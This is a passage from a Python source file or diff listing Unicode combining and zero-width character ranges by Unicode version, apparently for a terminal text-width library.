(0x008e4, 0x008fe,), # Arabic Curly Fatha ..Arabic Damma With Dot + (0x00900, 0x00902,), # Devanagari Sign Inverted..Devanagari Sign Anusvara + (0x0093a, 0x0093a,), # Devanagari Vowel Sign Oe..Devanagari Vowel Sign Oe + (0x0093c, 0x0093c,), # Devanagari Sign Nukta ..Devanagari Sign Nukta + (0x00941, 0x00948,), # Devanagari Vowel Sign U ..Devanagari Vowel Sign Ai + (0x0094d, 0x0094d,), # Devanagari Sign Virama ..Devanagari Sign Virama + (0x00951, 0x00957,), # Devanagari Stress Sign U..Devanagari Vowel Sign Uu + (0x00962, 0x00963,), # Devanagari Vowel Sign Vo..Devanagari Vowel Sign Vo + (0x00981, 0x00981,), # Bengali Sign Candrabindu..Bengali Sign Candrabindu + (0x009bc, 0x009bc,), # Bengali Sign Nukta ..Bengali Sign Nukta + (0x009c1, 0x009c4,), # Bengali Vowel Sign U ..Bengali Vowel Sign Vocal + (0x009cd, 0x009cd,), # Bengali Sign Virama ..Bengali Sign Virama + (0x009e2, 0x009e3,), # Bengali Vowel Sign Vocal..Bengali Vowel Sign Vocal + (0x00a01, 0x00a02,), # Gurmukhi Sign Adak Bindi..Gurmukhi Sign Bindi + (0x00a3c, 0x00a3c,), # Gurmukhi Sign Nukta ..Gurmukhi Sign Nukta + (0x00a41, 0x00a42,), # Gurmukhi Vowel Sign U ..Gurmukhi Vowel Sign Uu + (0x00a47, 0x00a48,), # Gurmukhi Vowel Sign Ee ..Gurmukhi Vowel Sign Ai + (0x00a4b, 0x00a4d,), # Gurmukhi Vowel Sign Oo ..Gurmukhi Sign Virama + (0x00a51, 0x00a51,), # Gurmukhi Sign Udaat ..Gurmukhi Sign Udaat + (0x00a70, 0x00a71,), # Gurmukhi Tippi ..Gurmukhi Addak + (0x00a75, 0x00a75,), # Gurmukhi Sign Yakash ..Gurmukhi Sign Yakash + (0x00a81, 0x00a82,), # Gujarati Sign Candrabind..Gujarati Sign Anusvara + (0x00abc, 0x00abc,), # Gujarati Sign Nukta ..Gujarati Sign Nukta + (0x00ac1, 0x00ac5,), # Gujarati Vowel Sign U ..Gujarati Vowel Sign Cand + (0x00ac7, 0x00ac8,), # Gujarati Vowel Sign E ..Gujarati Vowel Sign Ai + (0x00acd, 0x00acd,), # Gujarati Sign Virama ..Gujarati Sign Virama + (0x00ae2, 0x00ae3,), # Gujarati Vowel Sign Voca..Gujarati Vowel Sign Voca + (0x00b01, 0x00b01,), # Oriya Sign Candrabindu ..Oriya Sign Candrabindu + (0x00b3c, 0x00b3c,), # Oriya Sign Nukta ..Oriya Sign Nukta + (0x00b3f, 0x00b3f,), # Oriya Vowel Sign I ..Oriya Vowel Sign I + (0x00b41, 0x00b44,), # Oriya Vowel Sign U ..Oriya Vowel Sign Vocalic + (0x00b4d, 0x00b4d,), # Oriya Sign Virama ..Oriya Sign Virama + (0x00b56, 0x00b56,), # Oriya Ai Length Mark ..Oriya Ai Length Mark + (0x00b62, 0x00b63,), # Oriya Vowel Sign Vocalic..Oriya Vowel Sign Vocalic + (0x00b82, 0x00b82,), # Tamil Sign Anusvara ..Tamil Sign Anusvara + (0x00bc0, 0x00bc0,), # Tamil Vowel Sign Ii ..Tamil Vowel Sign Ii + (0x00bcd, 0x00bcd,), # Tamil Sign Virama ..Tamil Sign Virama + (0x00c3e, 0x00c40,), # Telugu Vowel Sign Aa ..Telugu Vowel Sign Ii + (0x00c46, 0x00c48,), # Telugu Vowel Sign E ..Telugu Vowel Sign Ai + (0x00c4a, 0x00c4d,), # Telugu Vowel Sign O ..Telugu Sign Virama + (0x00c55, 0x00c56,), # Telugu Length Mark ..Telugu Ai Length Mark + (0x00c62, 0x00c63,), # Telugu Vowel Sign Vocali..Telugu Vowel Sign Vocali + (0x00cbc, 0x00cbc,), # Kannada Sign Nukta ..Kannada Sign Nukta + (0x00cbf, 0x00cbf,), # Kannada Vowel Sign I ..Kannada Vowel Sign I + (0x00cc6, 0x00cc6,), # Kannada Vowel Sign E ..Kannada Vowel Sign E + (0x00ccc, 0x00ccd,), # Kannada Vowel Sign Au ..Kannada Sign Virama + (0x00ce2, 0x00ce3,), # Kannada Vowel Sign Vocal..Kannada Vowel Sign Vocal + (0x00d41, 0x00d44,), # Malayalam Vowel Sign U ..Malayalam Vowel Sign Voc + (0x00d4d, 0x00d4d,), # Malayalam Sign Virama ..Malayalam Sign Virama + (0x00d62, 0x00d63,), # Malayalam Vowel Sign Voc..Malayalam Vowel Sign Voc + (0x00dca, 0x00dca,), # Sinhala Sign Al-lakuna ..Sinhala Sign Al-lakuna + (0x00dd2, 0x00dd4,), # Sinhala Vowel Sign Ketti..Sinhala Vowel Sign Ketti + (0x00dd6, 0x00dd6,), # Sinhala Vowel Sign Diga ..Sinhala Vowel Sign Diga + (0x00e31, 0x00e31,), # Thai Character Mai Han-a..Thai Character Mai Han-a + (0x00e34, 0x00e3a,), # Thai Character Sara I ..Thai Character Phinthu + (0x00e47, 0x00e4e,), # Thai Character Maitaikhu..Thai Character Yamakkan + (0x00eb1, 0x00eb1,), # Lao Vowel Sign Mai Kan ..Lao Vowel Sign Mai Kan + (0x00eb4, 0x00eb9,), # Lao Vowel Sign I ..Lao Vowel Sign Uu + (0x00ebb, 0x00ebc,), # Lao Vowel Sign Mai Kon ..Lao Semivowel Sign Lo + (0x00ec8, 0x00ecd,), # Lao Tone Mai Ek ..Lao Niggahita + (0x00f18, 0x00f19,), # Tibetan Astrological Sig..Tibetan Astrological Sig + (0x00f35, 0x00f35,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f37, 0x00f37,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f39, 0x00f39,), # Tibetan Mark Tsa -phru ..Tibetan Mark Tsa -phru + (0x00f71, 0x00f7e,), # Tibetan Vowel Sign Aa ..Tibetan Sign Rjes Su Nga + (0x00f80, 0x00f84,), # Tibetan Vowel Sign Rever..Tibetan Mark Halanta + (0x00f86, 0x00f87,), # Tibetan Sign Lci Rtags ..Tibetan Sign Yang Rtags + (0x00f8d, 0x00f97,), # Tibetan Subjoined Sign L..Tibetan Subjoined Letter + (0x00f99, 0x00fbc,), # Tibetan Subjoined Letter..Tibetan Subjoined Letter + (0x00fc6, 0x00fc6,), # Tibetan Symbol Padma Gda..Tibetan Symbol Padma Gda + (0x0102d, 0x01030,), # Myanmar Vowel Sign I ..Myanmar Vowel Sign Uu + (0x01032, 0x01037,), # Myanmar Vowel Sign Ai ..Myanmar Sign Dot Below + (0x01039, 0x0103a,), # Myanmar Sign Virama ..Myanmar Sign Asat + (0x0103d, 0x0103e,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01058, 0x01059,), # Myanmar Vowel Sign Vocal..Myanmar Vowel Sign Vocal + (0x0105e, 0x01060,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01071, 0x01074,), # Myanmar Vowel Sign Geba ..Myanmar Vowel Sign Kayah + (0x01082, 0x01082,), # Myanmar Consonant Sign S..Myanmar Consonant Sign S + (0x01085, 0x01086,), # Myanmar Vowel Sign Shan ..Myanmar Vowel Sign Shan + (0x0108d, 0x0108d,), # Myanmar Sign Shan Counci..Myanmar Sign Shan Counci + (0x0109d, 0x0109d,), # Myanmar Vowel Sign Aiton..Myanmar Vowel Sign Aiton + (0x0135d, 0x0135f,), # Ethiopic Combining Gemin..Ethiopic Combining Gemin + (0x01712, 0x01714,), # Tagalog Vowel Sign I ..Tagalog Sign Virama + (0x01732, 0x01734,), # Hanunoo Vowel Sign I ..Hanunoo Sign Pamudpod + (0x01752, 0x01753,), # Buhid Vowel Sign I ..Buhid Vowel Sign U + (0x01772, 0x01773,), # Tagbanwa Vowel Sign I ..Tagbanwa Vowel Sign U + (0x017b4, 0x017b5,), # Khmer Vowel Inherent Aq ..Khmer Vowel Inherent Aa + (0x017b7, 0x017bd,), # Khmer Vowel Sign I ..Khmer Vowel Sign Ua + (0x017c6, 0x017c6,), # Khmer Sign Nikahit ..Khmer Sign Nikahit + (0x017c9, 0x017d3,), # Khmer Sign Muusikatoan ..Khmer Sign Bathamasat + (0x017dd, 0x017dd,), # Khmer Sign Atthacan ..Khmer Sign Atthacan + (0x0180b, 0x0180d,), # Mongolian Free Variation..Mongolian Free Variation + (0x018a9, 0x018a9,), # Mongolian Letter Ali Gal..Mongolian Letter Ali Gal + (0x01920, 0x01922,), # Limbu Vowel Sign A ..Limbu Vowel Sign U + (0x01927, 0x01928,), # Limbu Vowel Sign E ..Limbu Vowel Sign O + (0x01932, 0x01932,), # Limbu Small Letter Anusv..Limbu Small Letter Anusv + (0x01939, 0x0193b,), # Limbu Sign Mukphreng ..Limbu Sign Sa-i + (0x01a17, 0x01a18,), # Buginese Vowel Sign I ..Buginese Vowel Sign U + (0x01a1b, 0x01a1b,), # Buginese Vowel Sign Ae ..Buginese Vowel Sign Ae + (0x01a56, 0x01a56,), # Tai Tham Consonant Sign ..Tai Tham Consonant Sign + (0x01a58, 0x01a5e,), # Tai Tham Sign Mai Kang L..Tai Tham Consonant Sign + (0x01a60, 0x01a60,), # Tai Tham Sign Sakot ..Tai Tham Sign Sakot + (0x01a62, 0x01a62,), # Tai Tham Vowel Sign Mai ..Tai Tham Vowel Sign Mai + (0x01a65, 0x01a6c,), # Tai Tham Vowel Sign I ..Tai Tham Vowel Sign Oa B + (0x01a73, 0x01a7c,), # Tai Tham Vowel Sign Oa A..Tai Tham Sign Khuen-lue + (0x01a7f, 0x01a7f,), # Tai Tham Combining Crypt..Tai Tham Combining Crypt + (0x01b00, 0x01b03,), # Balinese Sign Ulu Ricem ..Balinese Sign Surang + (0x01b34, 0x01b34,), # Balinese Sign Rerekan ..Balinese Sign Rerekan + (0x01b36, 0x01b3a,), # Balinese Vowel Sign Ulu ..Balinese Vowel Sign Ra R + (0x01b3c, 0x01b3c,), # Balinese Vowel Sign La L..Balinese Vowel Sign La L + (0x01b42, 0x01b42,), # Balinese Vowel Sign Pepe..Balinese Vowel Sign Pepe + (0x01b6b, 0x01b73,), # Balinese Musical Symbol ..Balinese Musical Symbol + (0x01b80, 0x01b81,), # Sundanese Sign Panyecek ..Sundanese Sign Panglayar + (0x01ba2, 0x01ba5,), # Sundanese Consonant Sign..Sundanese Vowel Sign Pan + (0x01ba8, 0x01ba9,), # Sundanese Vowel Sign Pam..Sundanese Vowel Sign Pan + (0x01bab, 0x01bab,), # Sundanese Sign Virama ..Sundanese Sign Virama + (0x01be6, 0x01be6,), # Batak Sign Tompi ..Batak Sign Tompi + (0x01be8, 0x01be9,), # Batak Vowel Sign Pakpak ..Batak Vowel Sign Ee + (0x01bed, 0x01bed,), # Batak Vowel Sign Karo O ..Batak Vowel Sign Karo O + (0x01bef, 0x01bf1,), # Batak Vowel Sign U For S..Batak Consonant Sign H + (0x01c2c, 0x01c33,), # Lepcha Vowel Sign E ..Lepcha Consonant Sign T + (0x01c36, 0x01c37,), # Lepcha Sign Ran ..Lepcha Sign Nukta + (0x01cd0, 0x01cd2,), # Vedic Tone Karshana ..Vedic Tone Prenkha + (0x01cd4, 0x01ce0,), # Vedic Sign Yajurvedic Mi..Vedic Tone Rigvedic Kash + (0x01ce2, 0x01ce8,), # Vedic Sign Visarga Svari..Vedic Sign Visarga Anuda + (0x01ced, 0x01ced,), # Vedic Sign Tiryak ..Vedic Sign Tiryak + (0x01cf4, 0x01cf4,), # Vedic Tone Candra Above ..Vedic Tone Candra Above + (0x01dc0, 0x01de6,), # Combining Dotted Grave A..Combining Latin Small Le + (0x01dfc, 0x01dff,), # Combining Double Inverte..Combining Right Arrowhea + (0x020d0, 0x020f0,), # Combining Left Harpoon A..Combining Asterisk Above + (0x02cef, 0x02cf1,), # Coptic Combining Ni Abov..Coptic Combining Spiritu + (0x02d7f, 0x02d7f,), # Tifinagh Consonant Joine..Tifinagh Consonant Joine + (0x02de0, 0x02dff,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0302a, 0x0302d,), # Ideographic Level Tone M..Ideographic Entering Ton + (0x03099, 0x0309a,), # Combining Katakana-hirag..Combining Katakana-hirag + (0x0a66f, 0x0a672,), # Combining Cyrillic Vzmet..Combining Cyrillic Thous + (0x0a674, 0x0a67d,), # Combining Cyrillic Lette..Combining Cyrillic Payer + (0x0a69f, 0x0a69f,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0a6f0, 0x0a6f1,), # Bamum Combining Mark Koq..Bamum Combining Mark Tuk + (0x0a802, 0x0a802,), # Syloti Nagri Sign Dvisva..Syloti Nagri Sign Dvisva + (0x0a806, 0x0a806,), # Syloti Nagri Sign Hasant..Syloti Nagri Sign Hasant + (0x0a80b, 0x0a80b,), # Syloti Nagri Sign Anusva..Syloti Nagri Sign Anusva + (0x0a825, 0x0a826,), # Syloti Nagri Vowel Sign ..Syloti Nagri Vowel Sign + (0x0a8c4, 0x0a8c4,), # Saurashtra Sign Virama ..Saurashtra Sign Virama + (0x0a8e0, 0x0a8f1,), # Combining Devanagari Dig..Combining Devanagari Sig + (0x0a926, 0x0a92d,), # Kayah Li Vowel Ue ..Kayah Li Tone Calya Plop + (0x0a947, 0x0a951,), # Rejang Vowel Sign I ..Rejang Consonant Sign R + (0x0a980, 0x0a982,), # Javanese Sign Panyangga ..Javanese Sign Layar + (0x0a9b3, 0x0a9b3,), # Javanese Sign Cecak Telu..Javanese Sign Cecak Telu + (0x0a9b6, 0x0a9b9,), # Javanese Vowel Sign Wulu..Javanese Vowel Sign Suku + (0x0a9bc, 0x0a9bc,), # Javanese Vowel Sign Pepe..Javanese Vowel Sign Pepe + (0x0aa29, 0x0aa2e,), # Cham Vowel Sign Aa ..Cham Vowel Sign Oe + (0x0aa31, 0x0aa32,), # Cham Vowel Sign Au ..Cham Vowel Sign Ue + (0x0aa35, 0x0aa36,), # Cham Consonant Sign La ..Cham Consonant Sign Wa + (0x0aa43, 0x0aa43,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aa4c, 0x0aa4c,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aab0, 0x0aab0,), # Tai Viet Mai Kang ..Tai Viet Mai Kang + (0x0aab2, 0x0aab4,), # Tai Viet Vowel I ..Tai Viet Vowel U + (0x0aab7, 0x0aab8,), # Tai Viet Mai Khit ..Tai Viet Vowel Ia + (0x0aabe, 0x0aabf,), # Tai Viet Vowel Am ..Tai Viet Tone Mai Ek + (0x0aac1, 0x0aac1,), # Tai Viet Tone Mai Tho ..Tai Viet Tone Mai Tho + (0x0aaec, 0x0aaed,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0aaf6, 0x0aaf6,), # Meetei Mayek Virama ..Meetei Mayek Virama + (0x0abe5, 0x0abe5,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abe8, 0x0abe8,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abed, 0x0abed,), # Meetei Mayek Apun Iyek ..Meetei Mayek Apun Iyek + (0x0fb1e, 0x0fb1e,), # Hebrew Point Judeo-spani..Hebrew Point Judeo-spani + (0x0fe00, 0x0fe0f,), # Variation Selector-1 ..Variation Selector-16 + (0x0fe20, 0x0fe26,), # Combining Ligature Left ..Combining Conjoining Mac + (0x101fd, 0x101fd,), # Phaistos Disc Sign Combi..Phaistos Disc Sign Combi + (0x10a01, 0x10a03,), # Kharoshthi Vowel Sign I ..Kharoshthi Vowel Sign Vo + (0x10a05, 0x10a06,), # Kharoshthi Vowel Sign E ..Kharoshthi Vowel Sign O + (0x10a0c, 0x10a0f,), # Kharoshthi Vowel Length ..Kharoshthi Sign Visarga + (0x10a38, 0x10a3a,), # Kharoshthi Sign Bar Abov..Kharoshthi Sign Dot Belo + (0x10a3f, 0x10a3f,), # Kharoshthi Virama ..Kharoshthi Virama + (0x11001, 0x11001,), # Brahmi Sign Anusvara ..Brahmi Sign Anusvara + (0x11038, 0x11046,), # Brahmi Vowel Sign Aa ..Brahmi Virama + (0x11080, 0x11081,), # Kaithi Sign Candrabindu ..Kaithi Sign Anusvara + (0x110b3, 0x110b6,), # Kaithi Vowel Sign U ..Kaithi Vowel Sign Ai + (0x110b9, 0x110ba,), # Kaithi Sign Virama ..Kaithi Sign Nukta + (0x11100, 0x11102,), # Chakma Sign Candrabindu ..Chakma Sign Visarga + (0x11127, 0x1112b,), # Chakma Vowel Sign A ..Chakma Vowel Sign Uu + (0x1112d, 0x11134,), # Chakma Vowel Sign Ai ..Chakma Maayyaa + (0x11180, 0x11181,), # Sharada Sign Candrabindu..Sharada Sign Anusvara + (0x111b6, 0x111be,), # Sharada Vowel Sign U ..Sharada Vowel Sign O + (0x116ab, 0x116ab,), # Takri Sign Anusvara ..Takri Sign Anusvara + (0x116ad, 0x116ad,), # Takri Vowel Sign Aa ..Takri Vowel Sign Aa + (0x116b0, 0x116b5,), # Takri Vowel Sign U ..Takri Vowel Sign Au + (0x116b7, 0x116b7,), # Takri Sign Nukta ..Takri Sign Nukta + (0x16f8f, 0x16f92,), # Miao Tone Right ..Miao Tone Below + (0x1d167, 0x1d169,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d17b, 0x1d182,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d185, 0x1d18b,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d1aa, 0x1d1ad,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d242, 0x1d244,), # Combining Greek Musical ..Combining Greek Musical + (0xe0100, 0xe01ef,), # Variation Selector-17 ..Variation Selector-256 + ), + '7.0.0': ( + # Source: DerivedGeneralCategory-7.0.0.txt + # Date: 2014-02-07, 18:42:12 GMT [MD] + # + (0x00300, 0x0036f,), # Combining Grave Accent ..Combining Latin Small Le + (0x00483, 0x00489,), # Combining Cyrillic Titlo..Combining Cyrillic Milli + (0x00591, 0x005bd,), # Hebrew Accent Etnahta ..Hebrew Point Meteg + (0x005bf, 0x005bf,), # Hebrew Point Rafe ..Hebrew Point Rafe + (0x005c1, 0x005c2,), # Hebrew Point Shin Dot ..Hebrew Point Sin Dot + (0x005c4, 0x005c5,), # Hebrew Mark Upper Dot ..Hebrew Mark Lower Dot + (0x005c7, 0x005c7,), # Hebrew Point Qamats Qata..Hebrew Point Qamats Qata + (0x00610, 0x0061a,), # Arabic Sign Sallallahou ..Arabic Small Kasra + (0x0064b, 0x0065f,), # Arabic Fathatan ..Arabic Wavy Hamza Below + (0x00670, 0x00670,), # Arabic Letter Superscrip..Arabic Letter Superscrip + (0x006d6, 0x006dc,), # Arabic Small High Ligatu..Arabic Small High Seen + (0x006df, 0x006e4,), # Arabic Small High Rounde..Arabic Small High Madda + (0x006e7, 0x006e8,), # Arabic Small High Yeh ..Arabic Small High Noon + (0x006ea, 0x006ed,), # Arabic Empty Centre Low ..Arabic Small Low Meem + (0x00711, 0x00711,), # Syriac Letter Superscrip..Syriac Letter Superscrip + (0x00730, 0x0074a,), # Syriac Pthaha Above ..Syriac Barrekh + (0x007a6, 0x007b0,), # Thaana Abafili ..Thaana Sukun + (0x007eb, 0x007f3,), # Nko Combining Short High..Nko Combining Double Dot + (0x00816, 0x00819,), # Samaritan Mark In ..Samaritan Mark Dagesh + (0x0081b, 0x00823,), # Samaritan Mark Epentheti..Samaritan Vowel Sign A + (0x00825, 0x00827,), # Samaritan Vowel Sign Sho..Samaritan Vowel Sign U + (0x00829, 0x0082d,), # Samaritan Vowel Sign Lon..Samaritan Mark Nequdaa + (0x00859, 0x0085b,), # Mandaic Affrication Mark..Mandaic Gemination Mark + (0x008e4, 0x00902,), # Arabic Curly Fatha ..Devanagari Sign Anusvara + (0x0093a, 0x0093a,), # Devanagari Vowel Sign Oe..Devanagari Vowel Sign Oe + (0x0093c, 0x0093c,), # Devanagari Sign Nukta ..Devanagari Sign Nukta + (0x00941, 0x00948,), # Devanagari Vowel Sign U ..Devanagari Vowel Sign Ai + (0x0094d, 0x0094d,), # Devanagari Sign Virama ..Devanagari Sign Virama + (0x00951, 0x00957,), # Devanagari Stress Sign U..Devanagari Vowel Sign Uu + (0x00962, 0x00963,), # Devanagari Vowel Sign Vo..Devanagari Vowel Sign Vo + (0x00981, 0x00981,), # Bengali Sign Candrabindu..Bengali Sign Candrabindu + (0x009bc, 0x009bc,), # Bengali Sign Nukta ..Bengali Sign Nukta + (0x009c1, 0x009c4,), # Bengali Vowel Sign U ..Bengali Vowel Sign Vocal + (0x009cd, 0x009cd,), # Bengali Sign Virama ..Bengali Sign Virama + (0x009e2, 0x009e3,), # Bengali Vowel Sign Vocal..Bengali Vowel Sign Vocal + (0x00a01, 0x00a02,), # Gurmukhi Sign Adak Bindi..Gurmukhi Sign Bindi + (0x00a3c, 0x00a3c,), # Gurmukhi Sign Nukta ..Gurmukhi Sign Nukta + (0x00a41, 0x00a42,), # Gurmukhi Vowel Sign U ..Gurmukhi Vowel Sign Uu + (0x00a47, 0x00a48,), # Gurmukhi Vowel Sign Ee ..Gurmukhi Vowel Sign Ai + (0x00a4b, 0x00a4d,), # Gurmukhi Vowel Sign Oo ..Gurmukhi Sign Virama + (0x00a51, 0x00a51,), # Gurmukhi Sign Udaat ..Gurmukhi Sign Udaat + (0x00a70, 0x00a71,), # Gurmukhi Tippi ..Gurmukhi Addak + (0x00a75, 0x00a75,), # Gurmukhi Sign Yakash ..Gurmukhi Sign Yakash + (0x00a81, 0x00a82,), # Gujarati Sign Candrabind..Gujarati Sign Anusvara + (0x00abc, 0x00abc,), # Gujarati Sign Nukta ..Gujarati Sign Nukta + (0x00ac1, 0x00ac5,), # Gujarati Vowel Sign U ..Gujarati Vowel Sign Cand + (0x00ac7, 0x00ac8,), # Gujarati Vowel Sign E ..Gujarati Vowel Sign Ai + (0x00acd, 0x00acd,), # Gujarati Sign Virama ..Gujarati Sign Virama + (0x00ae2, 0x00ae3,), # Gujarati Vowel Sign Voca..Gujarati Vowel Sign Voca + (0x00b01, 0x00b01,), # Oriya Sign Candrabindu ..Oriya Sign Candrabindu + (0x00b3c, 0x00b3c,), # Oriya Sign Nukta ..Oriya Sign Nukta + (0x00b3f, 0x00b3f,), # Oriya Vowel Sign I ..Oriya Vowel Sign I + (0x00b41, 0x00b44,), # Oriya Vowel Sign U ..Oriya Vowel Sign Vocalic + (0x00b4d, 0x00b4d,), # Oriya Sign Virama ..Oriya Sign Virama + (0x00b56, 0x00b56,), # Oriya Ai Length Mark ..Oriya Ai Length Mark + (0x00b62, 0x00b63,), # Oriya Vowel Sign Vocalic..Oriya Vowel Sign Vocalic + (0x00b82, 0x00b82,), # Tamil Sign Anusvara ..Tamil Sign Anusvara + (0x00bc0, 0x00bc0,), # Tamil Vowel Sign Ii ..Tamil Vowel Sign Ii + (0x00bcd, 0x00bcd,), # Tamil Sign Virama ..Tamil Sign Virama + (0x00c00, 0x00c00,), # Telugu Sign Combining Ca..Telugu Sign Combining Ca + (0x00c3e, 0x00c40,), # Telugu Vowel Sign Aa ..Telugu Vowel Sign Ii + (0x00c46, 0x00c48,), # Telugu Vowel Sign E ..Telugu Vowel Sign Ai + (0x00c4a, 0x00c4d,), # Telugu Vowel Sign O ..Telugu Sign Virama + (0x00c55, 0x00c56,), # Telugu Length Mark ..Telugu Ai Length Mark + (0x00c62, 0x00c63,), # Telugu Vowel Sign Vocali..Telugu Vowel Sign Vocali + (0x00c81, 0x00c81,), # Kannada Sign Candrabindu..Kannada Sign Candrabindu + (0x00cbc, 0x00cbc,), # Kannada Sign Nukta ..Kannada Sign Nukta + (0x00cbf, 0x00cbf,), # Kannada Vowel Sign I ..Kannada Vowel Sign I + (0x00cc6, 0x00cc6,), # Kannada Vowel Sign E ..Kannada Vowel Sign E + (0x00ccc, 0x00ccd,), # Kannada Vowel Sign Au ..Kannada Sign Virama + (0x00ce2, 0x00ce3,), # Kannada Vowel Sign Vocal..Kannada Vowel Sign Vocal + (0x00d01, 0x00d01,), # Malayalam Sign Candrabin..Malayalam Sign Candrabin + (0x00d41, 0x00d44,), # Malayalam Vowel Sign U ..Malayalam Vowel Sign Voc + (0x00d4d, 0x00d4d,), # Malayalam Sign Virama ..Malayalam Sign Virama + (0x00d62, 0x00d63,), # Malayalam Vowel Sign Voc..Malayalam Vowel Sign Voc + (0x00dca, 0x00dca,), # Sinhala Sign Al-lakuna ..Sinhala Sign Al-lakuna + (0x00dd2, 0x00dd4,), # Sinhala Vowel Sign Ketti..Sinhala Vowel Sign Ketti + (0x00dd6, 0x00dd6,), # Sinhala Vowel Sign Diga ..Sinhala Vowel Sign Diga + (0x00e31, 0x00e31,), # Thai Character Mai Han-a..Thai Character Mai Han-a + (0x00e34, 0x00e3a,), # Thai Character Sara I ..Thai Character Phinthu + (0x00e47, 0x00e4e,), # Thai Character Maitaikhu..Thai Character Yamakkan + (0x00eb1, 0x00eb1,), # Lao Vowel Sign Mai Kan ..Lao Vowel Sign Mai Kan + (0x00eb4, 0x00eb9,), # Lao Vowel Sign I ..Lao Vowel Sign Uu + (0x00ebb, 0x00ebc,), # Lao Vowel Sign Mai Kon ..Lao Semivowel Sign Lo + (0x00ec8, 0x00ecd,), # Lao Tone Mai Ek ..Lao Niggahita + (0x00f18, 0x00f19,), # Tibetan Astrological Sig..Tibetan Astrological Sig + (0x00f35, 0x00f35,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f37, 0x00f37,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f39, 0x00f39,), # Tibetan Mark Tsa -phru ..Tibetan Mark Tsa -phru + (0x00f71, 0x00f7e,), # Tibetan Vowel Sign Aa ..Tibetan Sign Rjes Su Nga + (0x00f80, 0x00f84,), # Tibetan Vowel Sign Rever..Tibetan Mark Halanta + (0x00f86, 0x00f87,), # Tibetan Sign Lci Rtags ..Tibetan Sign Yang Rtags + (0x00f8d, 0x00f97,), # Tibetan Subjoined Sign L..Tibetan Subjoined Letter + (0x00f99, 0x00fbc,), # Tibetan Subjoined Letter..Tibetan Subjoined Letter + (0x00fc6, 0x00fc6,), # Tibetan Symbol Padma Gda..Tibetan Symbol Padma Gda + (0x0102d, 0x01030,), # Myanmar Vowel Sign I ..Myanmar Vowel Sign Uu + (0x01032, 0x01037,), # Myanmar Vowel Sign Ai ..Myanmar Sign Dot Below + (0x01039, 0x0103a,), # Myanmar Sign Virama ..Myanmar Sign Asat + (0x0103d, 0x0103e,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01058, 0x01059,), # Myanmar Vowel Sign Vocal..Myanmar Vowel Sign Vocal + (0x0105e, 0x01060,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01071, 0x01074,), # Myanmar Vowel Sign Geba ..Myanmar Vowel Sign Kayah + (0x01082, 0x01082,), # Myanmar Consonant Sign S..Myanmar Consonant Sign S + (0x01085, 0x01086,), # Myanmar Vowel Sign Shan ..Myanmar Vowel Sign Shan + (0x0108d, 0x0108d,), # Myanmar Sign Shan Counci..Myanmar Sign Shan Counci + (0x0109d, 0x0109d,), # Myanmar Vowel Sign Aiton..Myanmar Vowel Sign Aiton + (0x0135d, 0x0135f,), # Ethiopic Combining Gemin..Ethiopic Combining Gemin + (0x01712, 0x01714,), # Tagalog Vowel Sign I ..Tagalog Sign Virama + (0x01732, 0x01734,), # Hanunoo Vowel Sign I ..Hanunoo Sign Pamudpod + (0x01752, 0x01753,), # Buhid Vowel Sign I ..Buhid Vowel Sign U + (0x01772, 0x01773,), # Tagbanwa Vowel Sign I ..Tagbanwa Vowel Sign U + (0x017b4, 0x017b5,), # Khmer Vowel Inherent Aq ..Khmer Vowel Inherent Aa + (0x017b7, 0x017bd,), # Khmer Vowel Sign I ..Khmer Vowel Sign Ua + (0x017c6, 0x017c6,), # Khmer Sign Nikahit ..Khmer Sign Nikahit + (0x017c9, 0x017d3,), # Khmer Sign Muusikatoan ..Khmer Sign Bathamasat + (0x017dd, 0x017dd,), # Khmer Sign Atthacan ..Khmer Sign Atthacan + (0x0180b, 0x0180d,), # Mongolian Free Variation..Mongolian Free Variation + (0x018a9, 0x018a9,), # Mongolian Letter Ali Gal..Mongolian Letter Ali Gal + (0x01920, 0x01922,), # Limbu Vowel Sign A ..Limbu Vowel Sign U + (0x01927, 0x01928,), # Limbu Vowel Sign E ..Limbu Vowel Sign O + (0x01932, 0x01932,), # Limbu Small Letter Anusv..Limbu Small Letter Anusv + (0x01939, 0x0193b,), # Limbu Sign Mukphreng ..Limbu Sign Sa-i + (0x01a17, 0x01a18,), # Buginese Vowel Sign I ..Buginese Vowel Sign U + (0x01a1b, 0x01a1b,), # Buginese Vowel Sign Ae ..Buginese Vowel Sign Ae + (0x01a56, 0x01a56,), # Tai Tham Consonant Sign ..Tai Tham Consonant Sign + (0x01a58, 0x01a5e,), # Tai Tham Sign Mai Kang L..Tai Tham Consonant Sign + (0x01a60, 0x01a60,), # Tai Tham Sign Sakot ..Tai Tham Sign Sakot + (0x01a62, 0x01a62,), # Tai Tham Vowel Sign Mai ..Tai Tham Vowel Sign Mai + (0x01a65, 0x01a6c,), # Tai Tham Vowel Sign I ..Tai Tham Vowel Sign Oa B + (0x01a73, 0x01a7c,), # Tai Tham Vowel Sign Oa A..Tai Tham Sign Khuen-lue + (0x01a7f, 0x01a7f,), # Tai Tham Combining Crypt..Tai Tham Combining Crypt + (0x01ab0, 0x01abe,), # Combining Doubled Circum..Combining Parentheses Ov + (0x01b00, 0x01b03,), # Balinese Sign Ulu Ricem ..Balinese Sign Surang + (0x01b34, 0x01b34,), # Balinese Sign Rerekan ..Balinese Sign Rerekan + (0x01b36, 0x01b3a,), # Balinese Vowel Sign Ulu ..Balinese Vowel Sign Ra R + (0x01b3c, 0x01b3c,), # Balinese 